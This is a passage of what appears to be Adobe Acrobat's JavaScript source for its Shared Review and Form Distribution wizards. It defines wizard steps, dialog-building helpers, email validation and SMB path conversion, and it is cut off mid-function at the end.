			creator: function(data) { return IWEmailStepDescription("SharedReview"); },

			heading: "",

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_SR,

			text: "",

			noSteps: true,

		},

	];



const IWFDSteps = 

	[

		{	//step 0: if no file is opened, open the browse for file dialog	

			name: "IWBrowseDoc",

			creator: function(data) { return IWBrowseDoc("FormDistribution", false); },

			heading: AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_FD,

			text: "",

			noSteps: true,

		},

		{	//step 1: server selection step

			name: "IWDistributionServer",

			creator: function(data) { return IWDistributionServer("FormDistribution", false); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_HEADING_FD,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_FD,

			text: "",

			noSteps: true,

		},

		{	//server selection step

			name: "IWIdentityDialog",

			creator: function(data) { return IWIdentityDialog("FormDistribution", false); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_HEADING_FD,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_FD,

			text: "",

			noSteps: true,

		},

		{	

			name: "IWSharedReviewDocCenterLogin",

			creator: function(data) { return IWSharedReviewDocCenterLogin("FormDistribution"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_FD,

			noSteps: true,

		},

		{	

			name: "IWSharedReviewDocCenterCreateID",

			creator: function(data) { return IWSharedReviewDocCenterCreateID("FormDistribution"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_FD,

			noSteps: true,

		},

		{	

			name: "IWSharedReviewDocCenterCreateConfirm",

			creator: function(data) { return IWSharedReviewDocCenterCreateConfirm("FormDistribution"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_FD,

			noSteps: true,

		},

		//step for specifying submit button

		{	

			name: "IWSubmitButton",

			creator: function(data) { return IWSubmitButton("FormDistribution", false); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_HEADING_FD,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_FD,

			text: "",

			noSteps: true,

		},

 		{	

			name: "IWNewInternalServer",

			creator: function(data) { return IWNewInternalServer(data, "FormDistribution", false); },

			heading: AnnotsString.IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_HEADING_FD,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_FD,

			text: "",

			noSteps:true,

		},

		{	

			name: "IWDistributeStepDescription",

			creator: function(data) { return IWDistributeStepDescription("FormDistribution", false); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_HEADING_FD,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_FD,

			text: "",

			noSteps: true,

		},

		{	

			name: "IWSaveProfileStepDescription",

			creator: function(data) { return IWSaveProfileStepDescription("FormDistribution"); },

			heading: "",

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_FD,

			text: "",

			noSteps: true,

		},

		{	

			name: "IWEmailStepDescription",

			creator: function(data) { return IWEmailStepDescription("FormDistribution"); },

			heading: "",

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_FD,

			text: "",

			noSteps: true,

		},

	];





const ShareFileSteps = 

	[

		{	

			name: "IWSharedReviewDocCenterLogin",

			creator: function(data) { return IWSharedReviewDocCenterLogin("ShareFile"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_SF,

			noSteps: true,

		},

		{	

			name: "IWSharedReviewDocCenterCreateID",

			creator: function(data) { return IWSharedReviewDocCenterCreateID("ShareFile"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_SF,

			noSteps: true,

		},

		{	

			name: "IWSharedReviewDocCenterCreateConfirm",

			creator: function(data) { return IWSharedReviewDocCenterCreateConfirm("ShareFile"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_SF,

			noSteps: true,

		},

		{	

			name: "IWBrowseAnyDoc",

			creator: function(data) { return IWBrowseAnyDoc("ShareFile", false); },

			heading: AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_HEADING_SF,

			title: AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_SF,

			//text: "",

			noSteps: true,

		},

		{	

			name: "IWEmailStepDescription",

			creator: function(data) { return IWEmailStepDescription("ShareFile"); },

			heading: "",

			title: AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_SF,

			text: "",

			noSteps: true,

		}

	];



const UploadFileSteps = 

	[

		{	

			name: "IWSharedReviewDocCenterLogin",

			creator: function(data) { return IWSharedReviewDocCenterLogin("ShareFile"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_UF,

			noSteps: true,

		},

		{	

			name: "IWSharedReviewDocCenterCreateID",

			creator: function(data) { return IWSharedReviewDocCenterCreateID("ShareFile"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_UF,

			noSteps: true,

		},

		{	

			name: "IWSharedReviewDocCenterCreateConfirm",

			creator: function(data) { return IWSharedReviewDocCenterCreateConfirm("ShareFile"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_UF,

			noSteps: true,

		},

		{	

			name: "IWBrowseAnyDoc",

			creator: function(data) { return IWBrowseAnyDoc("ShareFile", false); },

			heading: AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_HEADING_UF,

			title: AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_UF,

			//text: "",

			noSteps: true,

		},

	];



const DocCenterLoginSteps = 

	[

		{	

			name: "IWSharedReviewDocCenterLogin",

			creator: function(data) { return IWSharedReviewDocCenterLogin("ShareFile"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_LOGIN,

			noSteps: true,

		},

		{

			name: "IWSharedReviewDocCenterCreateID",

			creator: function(data) { return IWSharedReviewDocCenterCreateID("ShareFile"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_CREATEID_TITLE,

			noSteps: true,

		},

		{	

			name: "IWSharedReviewDocCenterCreateConfirm",

			creator: function(data) { return IWSharedReviewDocCenterCreateConfirm("ShareFile"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_CREATEID_CONFIRM_TITLE,

			noSteps: true,

		},

	];



const DocCenterSignupSteps = 

	[

		{

			name: "IWSharedReviewDocCenterCreateID",

			creator: function(data) { return IWSharedReviewDocCenterCreateID("ShareFile"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_CREATEID_TITLE,

			noSteps: true,

		},

		{	

			name: "IWSharedReviewDocCenterCreateConfirm",

			creator: function(data) { return IWSharedReviewDocCenterCreateConfirm("ShareFile"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_CREATEID_CONFIRM_TITLE,

			noSteps: true,

		},

	];



function GetStepNum (name, reviewType)

{

	switch (reviewType)

	{

		case "SharedReview":

		{

			switch (name)

			{

				case "IWBrowseDoc":

				{

					return 0;

					break;

				} 

				case "IWDistributionServer":

				{

					return 1;

					break;

				} 

				case "IWIdentityDialog":

				{

					return 2;

					break;

				}

				case "IWSharedReviewDocCenterLogin":

				{

					return 3;

					break;

				}

				case "IWSharedReviewDocCenterCreateID":

				{

					return 4;

					break;

				}

				case "IWSharedReviewDocCenterCreateConfirm":

				{

					return 5;

					break;

				}

				case "IWNewInternalServer":

				{

					return 6;

					break;

				} 

				case "IWDistributeStepDescription":

				{

					return 7;

					break;

				} 

				case "IWSaveProfileStepDescription":

				{

					return 8;

					break;

				} 

				case "IWEmailStepDescription":

				{

					return 9;

					break;

				} 

			}

			break;

		}

		case "FormDistribution":

		{

			switch (name)

			{

				case "IWBrowseDoc": 

				{

					return 0;

					break;

				} 

				case "IWDistributionServer":

				{

					return 1;

					break;

				} 

				case "IWIdentityDialog":

				{

					return 2;

					break;

				}

				case "IWSharedReviewDocCenterLogin":

				{

					return 3;

					break;

				}

				case "IWSharedReviewDocCenterCreateID":

				{

					return 4;

					break;

				}

				case "IWSharedReviewDocCenterCreateConfirm":

				{

					return 5;

					break;

				}

				case "IWSubmitButton":

				{

					return 6;

					break;

				} 

				case "IWNewInternalServer":

				{

					return 7;

					break;

				} 

				case "IWDistributeStepDescription":

				{

					return 8;

					break;

				} 

				case "IWSaveProfileStepDescription":

				{

					return 9;

					break;

				} 

				case "IWEmailStepDescription":

				{

					return 10;

					break;

				} 

			}

			break;

		}

		case "ShareFile":

		{

			switch (name)

			{

				case "IWSharedReviewDocCenterLogin":

				{

					return 0;

					break;

				} 

				case "IWSharedReviewDocCenterCreateID":

				{

					return 1;

					break;

				}

				case "IWSharedReviewDocCenterCreateConfirm":

				{

					return 2;

					break;

				}

				case "IWBrowseAnyDoc": 

				{

					return 3;

					break;

				} 

				case "IWEmailStepDescription":

				{

					return 4;

					break;

				}

			}

			break;

		}

		case "DocCenterLogin":

		{

			switch (name)

			{

				case "IWSharedReviewDocCenterLogin":

				{

					return 0;

					break;

				} 

				case "IWSharedReviewDocCenterCreateID":

				{

					return 1;

					break;

				}

				case "IWSharedReviewDocCenterCreateConfirm":

				{

					return 2;

					break;

				}

			break;

			}

		}

		case "DocCenterSignup":

		{

			switch (name)

			{

				case "IWSharedReviewDocCenterCreateID":

				{

					return 0;

					break;

				}

				case "IWSharedReviewDocCenterCreateConfirm":

				{

					return 1;

					break;

				}

			break;

			}

		}

		default: 

		{

			//DebugThrow ("The Review Type is not defined, Some thing wrong");

			return -1;

			break;

		}

	}

	//DebugThrow  ("Either Review Type or name is incorrect/undefined!");

	return -1;

}



const OldSRIWsteps =

	[

		{	// Step 1: Introduction

			creator: function(data) { return CBCreateGettingStartedStepDescription("SharedReview", false); },

			heading: AnnotsString.IDS_SHARED_REVIEW_GETTING_STARTED_STEP_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_GETTING_STARTED_STEP_TITLE,

			text: (app.viewerType.match('Exchange-Pro') != null) ? 

					AnnotsString.IDS_SHARED_REVIEW_GETTING_STARTED_STEP_TEXT_PRO :

					AnnotsString.IDS_SHARED_REVIEW_GETTING_STARTED_STEP_TEXT_STD,

					},

		{	// Step 2: Distribute PDF

			creator: function(data) { return CBSharedReviewDistributeStepDescription(); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_STEP_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_STEP_TITLE,

			text: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_STEP_TEXT,

			tip: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_TIP,

		},

		{	// Step 3: Invite Reviewers

			creator: function(data) { return CBSharedReviewInviteReviewers(); }, 

			heading: AnnotsString.IDS_SHARED_REVIEW_SEND_INVITE_STEP_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_SEND_INVITE_STEP_TITLE,

			text: AnnotsString.IDS_SHARED_REVIEW_SEND_INVITE_STEP_TEXT,

			tip: AnnotsString.IDS_SHARED_REVIEW_SEND_INVITE_STEP_TIP,

		},

		{	// Step 4: Preview Invitation

			creator: function(data) { return CBCreateSendInvitationStepDescription(AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_STEP_MESSAGE_HEADING, false); },

			heading: AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_STEP_TITLE,

			title: AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_STEP_HEADING,

			text: AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_STEP_TEXT,

		},

	];

 



if (typeof Collab != "undefined")

{

	// really the width of PART of each panel

	//Initially we were usign the wizard width in the AlertWithHelp dialog. Now introducing a new width var.

	Collab.AlertWithHelpWidth = (app.platform == "WIN") ? 508 : 508; 



	//We require a width=592, subtract 2*wizardMarginWidth. So, 592-(2*25)=542

	Collab.wizardWidth = (app.platform == "WIN") ? 592 : 575; 



	// really the height of PART of each panel

	// We require the wizard height to be 482. The row of buttons below is seperate, whose height is 54 (11+32+11). So  482-54=428

	Collab.wizardHeight = 428;

	

	Collab.buttonRowMarginHeight = 11;

	Collab.buttonRowMarginWidth = 11;

	Collab.wizardMarginWidth = 25;

	

	Collab.marginWidth = 20;

	Collab.marginHeight = 20;

	

	Collab.tipIconWidth = 32;

	Collab.tipIconHeight = 32;

	Collab.navIconWidth = 12;

	Collab.navIconHeight = 12;



    function ANDumpObj(obj)

    {

		for (prop in obj)

            DebugPrintln(prop + " => " + obj[prop]);

    }

    

    function DebugPrintln(obj)

    {

	    app.beginPriv();

	    if (Collab.debugPrintln)

	    	console.println(obj)

		else//do nothing

			;

	    app.endPriv();

    }



    function TestReview()

    {

		app.beginPriv();

	    var doc = Collab.GetActiveDocIW();

	    app.endPriv();

	    

        var method = "EMAIL";       // can also be: UPLOAD

		var params = 

		{

			doc: doc,

			initiator: "me@example.com",

			id: "some-guid",

			source: "smb://camelot/sync/test",

			driver: "urn://ns.adobe.com/Collaboration/SharedReview/SMB",

			invitees: "invitee1@example.com, invitee2@example.com",

			cc: "optional1@copmany.com",

			sentDate: new Date(),

//			deadDate: (data.internalDeadline != "") ? data.oDeadline : false,

//			ui: false,

			distributionMethod: method,

			requireSave: method == "UPLOAD",

			versionInfo: 9,

			accessLevel: 0,

			bezelMessage: "Your document has been distributed to reviewers as an email attachment and saved to your local hard drive.",

		};



	    console.println("Registering review - params:");

	    for (var prop in params) console.println(prop + " => " + params[prop]);

	    

		// Register the review for the initiator BEFORE adding to the doc

		app.beginPriv();

		Collab.registerReview(params);

		app.endPriv();

    }



	function ANCreateMLSElement(name, width)

	{

		var m = name.match(/^\%bullet\%(.*)/);

		var e = {

			type: "static_text",

			name: name,

			wrap_name: true,

			width: width

		};

		

		if(m)

		{

			e.width = { diff: [ width, { zstring_width: "\u2022" } ] };

			e.name = m[1];

			

			return {

				type: "view",

				align_children: "align_top",

				elements:

				[

					{

						type: "static_text",

						name: "\u2022"

					},

					e

				]

			};

		}

		return e;

	}



	function ANCreateMLSEElementsFromArray(nameOrArray, width)

	{

		if(nameOrArray == undefined) return [];



		if(typeof nameOrArray.length == "undefined")

			return [ ANCreateMLSElement(nameOrArray, width) ];

		var a = [];

		for(var i in nameOrArray)

			a = a.concat( [ ANCreateMLSElement(nameOrArray[i], width) ] );



		return a;

	}



	function ANCreateTipElements(tip, width, tipDesc)

	{

		if(!tip)

			return [];

		return [

			{

				type: "cluster",

				width: width,

				elements: [

					{

						type: "view",

						align_children: "align_row",

						elements:

						[

							{

								type: "image",

								item_id: "tip1",

								width: Collab.tipIconWidth,

								height: Collab.tipIconHeight

							},

							ANCreateMLSElement(tip, { diff: [ width, Collab.tipIconWidth * 2 ] })

						]

					}

				].concat(tipDesc ? [

					{

						type: "view",

						align: "align_right",

						elements: tipDesc 

					}

				] : [])

			}

		];

	}



	function ANCreateSkipElements(skipLabel, width)

	{

		if(!skipLabel)

			return [];

		return [

			{

				type: "view",

				width: width,

				elements: 

				[

					{

						type: "check_box",

						item_id: "skip",

						alignment: "align_left",

						name: AnnotsString.IDS_DONT_SHOW_AGAIN

					}

				]

			}

		];

	}



	function CBSetProductVariant(s)

	{

		return s.replace(/{cProductVariant}/g, 

			app.viewerType.match('Exchange') != null ? 

				AnnotsString.IDS_PRODUCT_VARIANT_ACROBAT : 

				AnnotsString.IDS_PRODUCT_VARIANT_READER);

		

	}



	function CBIsValidEmail(addr)

	{

		var emailRE = /^([a-zA-Z0-9_\-\.\/]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,63}|[0-9]{1,3})(\]?)$/;



		return (addr != undefined && addr != "" && addr.match(emailRE) != null);

	}



	function ANFancyAlertImpl(title, content, tip, buttons, dontShowMeAgain, ok, cancel, other, width, honourDSMACancelArg)

	{

		var alertWidth = width ? width : Collab.AlertWithHelpWidth ;

        //whether to honour Don't show me again pref of user when he/she chooses the cancel option

		var honourDSMACancel = honourDSMACancelArg ? honourDSMACancelArg : false;

		// skeletal layout description

		var desc = {

			content: content,

			dontShowMeAgain: dontShowMeAgain

		};

		// content eelment array

		var ca = [];

		

		// for each "content" element

		for(var i in content)

		{

			var cc = content[i];

			var cid = "icn" + i;

			var item = [];

			var header = undefined;

			

			if(cc.header)

				header = {

					type: "static_text",

					name: cc.header,

					font: "dialog",

					bold: true,

					alignment: "align_fill"

				};



			// maybe add a bullet

			if(cc.bullet)

				item[item.length] = 

					{

						type: "static_text",

						name: "\u2022"

					};

					

			// maybe add an icon

			if(cc.icon)

				item[item.length] = 

					{

						type: "image",

						item_id: cid,

						width: cc.icon.width,

						height: cc.icon.height

					};

			

			// throw them all into a row view

			var mlse = cc.text ? ANCreateMLSElement(cc.text, { diff: [ alertWidth, (cc.icon ? cc.icon.width : { zstring_width: "\u2022" }) ] }) : [];

			

			ca[ca.length] = {

				type: "view",

				align_children: "align_row",

				elements:

					item.concat(header ? 

					[{

						type: "view",

						align_children: "align_left",

						alignment: "align_fill",

						elements: [ header ].concat([mlse])

					}] : [mlse])

			};

		}

		

		// add a tip if appropriate

		if(tip)

		{

			var te = ANCreateTipElements(tip, alertWidth);

			

			ca = ca.concat(te);

		}

			

		var ba = [];

		

		// add a bunch of buttons into an element array

		for(var i in buttons)

		{

			var bc = buttons[i];

			var bid = "btn" + i;

			

			ba[ba.length] = {

				type: "button",

				item_id: bid,

				name: bc,

				alignment: "align_right"

			};

			// throw a handler for the button in

			desc[bid] = eval("(function(dialog) { dialog.end('" + bid + "'); })");

		}

		

		// basic buttons

		if(ok && cancel && other)

		{

			ba[ba.length] = {

				type: "ok_cancel_other",

				ok_name: ok,

				cancel_name: cancel,

				other_name: other,

				alignment: "align_right"

			}

		}

		else if(ok && cancel)

		{

			ba[ba.length] = {

				type: "ok_cancel",

				ok_name: ok,

				cancel_name: cancel,

				alignment: "align_right"

			}

		}

		else if(ok)

		{

			ba[ba.length] = {

				type: "ok",

				ok_name: ok,

				alignment: "align_right"

			}

		}

		

		// add the buttons into the larger desc

		ca[ca.length] = {

			type: "view",

			align_children: "align_row",

			elements: (dontShowMeAgain ? [

				{

					type: "check_box",

					item_id: "dsma",

					name: (dontShowMeAgain.label ? dontShowMeAgain.label : AnnotsString.IDS_DONT_SHOW_AGAIN),

					alignment: "align_left"

				}

			] : [])

		};

		ca[ca.length] = {

			type: "view",

			align_children: "align_row",

			alignment: "align_right",

			elements: ([]).concat(ba)

		};

		

		// add an init method to set up icons

		desc.initialize = function(dialog)

		{

			var il = {

				tip1: "C_Info_Xl_N.png",

				dsma: this.dontShowMeAgain ? this.dontShowMeAgain.pref : false

			};

			

			for(var i in this.content)

			{

				var cc = this.content[i];

				

				if(cc.icon)

					il["icn" + i] = cc.icon;

			}

			

			dialog.load(il);

		};

		

		// store any change to the don't show me again

		saveChangesToDSMA = function(dialog){

								if (typeof this.dontShowMeAgain != "undefined")

									this.dontShowMeAgain.pref = dialog.store()["dsma"];

								return true;

							};

		

		desc.commit = saveChangesToDSMA;

		

		// handle the "other" click

		desc.other = function(dialog) { dialog.end("other"); }

		

		if (honourDSMACancel)

			desc.cancel = saveChangesToDSMA;

		

		// full description

		desc.description = {

			name: title,

			elements: [

				{

					type: "view",

					align_children: "align_left",

					elements: ca

				}

			]

		};

				

		app.beginPriv();

		var result = app.execDialog(desc);

		app.endPriv();

		return result;

	}

	

    function ANPlatformPathToURL(url)

    {

	    if (url.length > 0)

	    {

		    if (url.substr(0,2) == "\\\\")  // convert from UNC path

		    {

			    url = "smb:" + url.replace(/\\/g, "/");

		    }

		    else if (app.platform == "WIN" && url.length >= 2) // convert from mapped drive path

		    {

			    var drive = url.charAt(0);

			    if ( ( (drive >= 'a' && drive <= 'z') || (drive >= 'A' && drive <= 'Z') ) &&

				       url.charAt(1) == ':')

			    {

				    if (url.substr(-1) != "\\") url += "\\";

				    app.beginPriv();

				    url = Collab.convertMappedDrivePathToSMBURL(url);

				    app.endPriv();

			    }

		    }

    		

		    // ensure proper scheme specifier

			if (!url.match(/^[a-z]+:.*/))

		    {

			    if (url.substr(0,2) != "//") url = "//" + url;

			    url = "smb:" + url;

		    }

	    }

    	

	    return url;

	}

	

	// Takes an SMB URL and converts it to a platform-specific form. On Windows this

	// function returns a UNC path; on Mac it returns the SMB URL.

	function ANSMBURLToPlatformPath(smbUrl)

    {

		DebugAlert("smbUrl 1" + smbUrl);

		if (app.platform == "WIN")

		{

			// strip off the smb: portion of the URL:

		    if (smbUrl && (smbUrl.substr(0,4) == "smb:"))

			{

				smbUrl = smbUrl.substr(4);

				smbUrl = smbUrl.replace(/\//g, "\\");

			}

		}

		return smbUrl;

	}



	// This is a utility functions for manipulating email addresses

	function SplitAddrs(addrs)

	{

		var addrVec = addrs.split(/\;|\n|\r\n|\r/);

		var resultVec = [];

		var j = 0;

		

		for(var i in addrVec)

		{

			var addr = addrVec[i].replace(/^\s*(\S(?:.*\S)?)\s*$/, "$1");

			

			if(addr)

				resultVec[j++] = addr;

		}

		return resultVec;

	}



	function CBTrustPropagateWiz(w)

	{

		var steps = w.steps;

		

		for(var p in steps)

			steps[p] = ANTrustPropagateAll(steps[p]);

		return w;

	}

	

	function CBCreateStepNavElements(navs, activeStep)

	{

		var result = [];

		

		for(var i in navs)

		{

			var iconElement = {

				type: "image",

				width: Collab.navIconWidth,

				height: Collab.navIconHeight

			};

			var staticElement = {

				type: "static_text",

				name: AnnotsString.IDS_TITLE_TMPL

			};

				

			staticElement.name = staticElement.name.replace(/\%num\%/, 1 + (1 * i));

			staticElement.name = staticElement.name.replace(/\%text\%/, navs[i]);

			

			if((1 * i) == (1 * activeStep))

				iconElement.item_id = "nav1";

				

			result = result.concat([{

				type: "view",

				align_children: "align_row",

				elements: [iconElement, staticElement]

			}]);

		}

		return result;

	}

	

	function CBStartWizStep(dialog, title, navs, activeStep, heading, text, tip, tipDesc, finishString, description, noSteps)

	{

		var cancelPrevNextFinishWidth = { max: [ { string_width: AnnotsString.IDS_CANCEL }, { string_width: AnnotsString.IDS_PREVIOUS }, { string_width: AnnotsString.IDS_NEXT }, { string_width: finishString }, {string_width: AnnotsString.IDS_UPLOAD} ] };



		var wizFrames = [];

		if(noSteps == undefined || !noSteps)

		{

			wizFrames[wizFrames.length] =

			{

				type: "cluster",

				align_children: "align_left",

				//back_color: "white",

				//item_id: "step",

				elements:

				[

					{

						type: "static_text",

						name: AnnotsString.IDS_STEPS,

						font: "dialog",

						bold: true

					}

				].concat(

					CBCreateStepNavElements(navs, activeStep)

				)

			};

		}



		wizFrames[wizFrames.length] =

		{

			type: "view",

			align_children: "align_left",

			elements:

			[

				{

					type: "cluster",

					height: Collab.wizardHeight,

					elements:

					[

						{

							type: "static_text",

							name: heading,

							width: Collab.wizardWidth,

							font: "dialog",

							bold: true

						}

					].concat(

						ANCreateMLSEElementsFromArray(text, Collab.wizardWidth)

					).concat(

						description.description

					).concat(

						ANCreateTipElements(tip, Collab.wizardWidth, tipDesc)

					)

				},

				{

					type: "view",

					align_children: "align_right",

					alignment: "align_right",

					elements:

					[

						{

							type: "view",

							align_children: "align_row",

							alignment: "align_right",

							elements:

							[

								{

									type: "button",

									name: AnnotsString.IDS_CANCEL,

									item_id: "cncl",

									width: cancelPrevNextFinishWidth

								},

								{

									type: "gap",

									width: 16

								},

								{

									type: "button",

									name: "*prev*",

									item_id: "prev",

									width: cancelPrevNextFinishWidth

								},

								{

									type: "button",

									name: "*next*",

									item_id: "next",

									width: cancelPrevNextFinishWidth

								}

							]

						}

					]

				}

			]

		};

		

		// wrap the step's description with generic wizard trimmings

		var stepDescription = ANTrustPropagateAll({

			next: function(dialog) { dialog.next(); },

			prev: function(dialog) { dialog.previous(); },

			cncl: function(dialog) { dialog.cancel(); },

			description:

			{

				name: title,

				height: Collab.wizardHeight,

				elements: 

				[

					{

						type: "view",

						align_children: "align_distribute",

						elements: wizFrames,

					}

				]

			}

		});



		// make sure to move callbacks, etc. up to the top level

		for(var i in description)

			if(i != "description")

				stepDescription[i] = description[i];



		// stick the dialog ref in there

		stepDescription.dialog = dialog;

		// take over the dialog

		app.beginPriv();

		app.execDialog(stepDescription, dialog);

		app.endPriv();

		// set up the default buttons

		dialog.makeDefault("next");

		dialog.makeCancel("cncl");

		// XXX

		// console.println("wizard bounds: " + app.measureDialog({description: stepDescription.description}).toSource());

		// call any init method

		if(typeof stepDescription.initialize != "undefined")

			stepDescription.initialize(dialog);

			

		return stepDescription;

	}



	function CBRunSimpleWiz(wizard, startStepNum, endStepNum, data)

	{

		var description = ANTrustPropagateAll({

			wizard: wizard,

			curStepNum: startStepNum,

			endStepNum: endStepNum < 0 ? (wizard.steps.length - 1) : endStepNum,

			data: data,

			next: function()

			{

				this.commitCurStep(true);



				var nextStep = this.curStepNum;

				var filter = this.wizard.stepFilter;



				while(nextStep < this.endStepNum)

				{

					if(!filter(this.data, nextStep + 1))

					{

						if(nextStep < this.endStepNum)

							this.startStep(nextStep + 1);

						else

							this.dialog.end("fnsh");

						break;

					}

					else nextStep += 1;

				}



				if(nextStep >= this.endStepNum) this.dialog.end("fnsh");

			},

			previous: function()

			{

				this.commitCurStep(false);

				var prevStep = this.curStepNum;

				var filter = this.wizard.stepFilter;



				while(true)

				{

					if(prevStep == 0 || !filter(this.data, prevStep -1))

					{

						this.startStep(prevStep - 1);

						break;

					}

					else prevStep -= 1;

				}

			},

			cancel: function()

			{

				// this might have cleanup side effects so call it

				this.commitCurStep(false);

				this.dialog.end("cncl");

			},

			commitCurStep: function(next)

			{

				if(this.curStep && this.curStep.commit)

					this.curStep.commit(this.dialog, next);

			},

			startStep: function(stepNum)

			{

				DebugPrintln("$$$> in startStep: step number = " + stepNum);



				var wizStep = this.wizard.steps[stepNum];

				

				this.curDescription = wizStep.creator(this.data);

				this.curDescription.data = this.data;

				this.curStepNum = stepNum;



				var titles = [];

				

				for(var i in this.wizard.steps)

					titles = titles.concat([this.wizard.steps[i].title]);

				

				//dikumar: temporarily changing the title.

				//var wiztitle = this.wizard.title.replace(/\%stepnum\%/, this.curStepNum + 1).replace(/\%stepcount\%/, this.wizard.steps.length);

				var wiztitle = this.wizard.steps[this.curStepNum].title;

				

				this.curStep = CBStartWizStep(this.dialog, wiztitle, titles, this.curStepNum, wizStep.heading, wizStep.text ? wizStep.text.split(/\n|\r\n|\r/) : null, wizStep.tip, wizStep.tipDesc, this.wizard.finishString, this.curDescription, wizStep.noSteps);

				this.dialog.load({

					next: stepNum < this.endStepNum ? AnnotsString.IDS_NEXT : wizard.finishString,

					prev: AnnotsString.IDS_PREVIOUS,

					cncl: AnnotsString.IDS_CANCEL,

					tip1: "C_Info_Xl_N.png",

					nav1: "C_GotoNextView_Sm_N.png" // XXX

				});

				this.dialog.enable({ prev: stepNum > 0 });

			},

			initialize: function(dialog)

			{

				// basic setup

				this.dialog = dialog;

				dialog.monitor = this;

				app.beginPriv();

				dialog.next = app.trustPropagatorFunction(function() { this.monitor.next(); });

				dialog.previous = app.trustPropagatorFunction(function() { this.monitor.previous(); });

				dialog.cancel = app.trustPropagatorFunction(function() { this.monitor.cancel(); });

				app.endPriv();



				// Default Step Filter Impl

				if(typeof this.wizard.stepFilter == "undefined")

					this.wizard.stepFilter = function(data, stepNum) { return false; }

				

				this.startStep(this.curStepNum);

			},

			description:

			{

				width: Collab.wizardWidth,

				height: Collab.wizardHeight

			}

		});

		

		app.beginPriv();

		description.data.result = app.execDialog(description);

		app.endPriv();

		return description.data;

	}





	function CBStartWizStepNew(dialog, title, navs, activeStep, heading, text, tip, tipDesc, finishString, description, noSteps)

	{

		var cancelPrevNextFinishWidth = { max: [ { string_width: AnnotsString.IDS_CANCEL }, { string_width: AnnotsString.IDS_PREVIOUS }, { string_width: AnnotsString.IDS_NEXT }, { string_width: finishString }, {string_width: AnnotsString.IDS_UPLOAD} ] };



		var wizFrames = [];



		wizFrames[wizFrames.length] =

		{

			type: "view",

			alignment: "align_fill",

			align_children: "align_left",

			item_id: "mgrp",

			back_color: "dialogBackground", 

			gradient_direction: "topToBottom", 

			gradient_type: "darkToLight",

			//margin_width: Collab.wizardMarginWidth,

			elements:

			[

				{

					type: "view",

					elements:

					[

					]

					.concat(

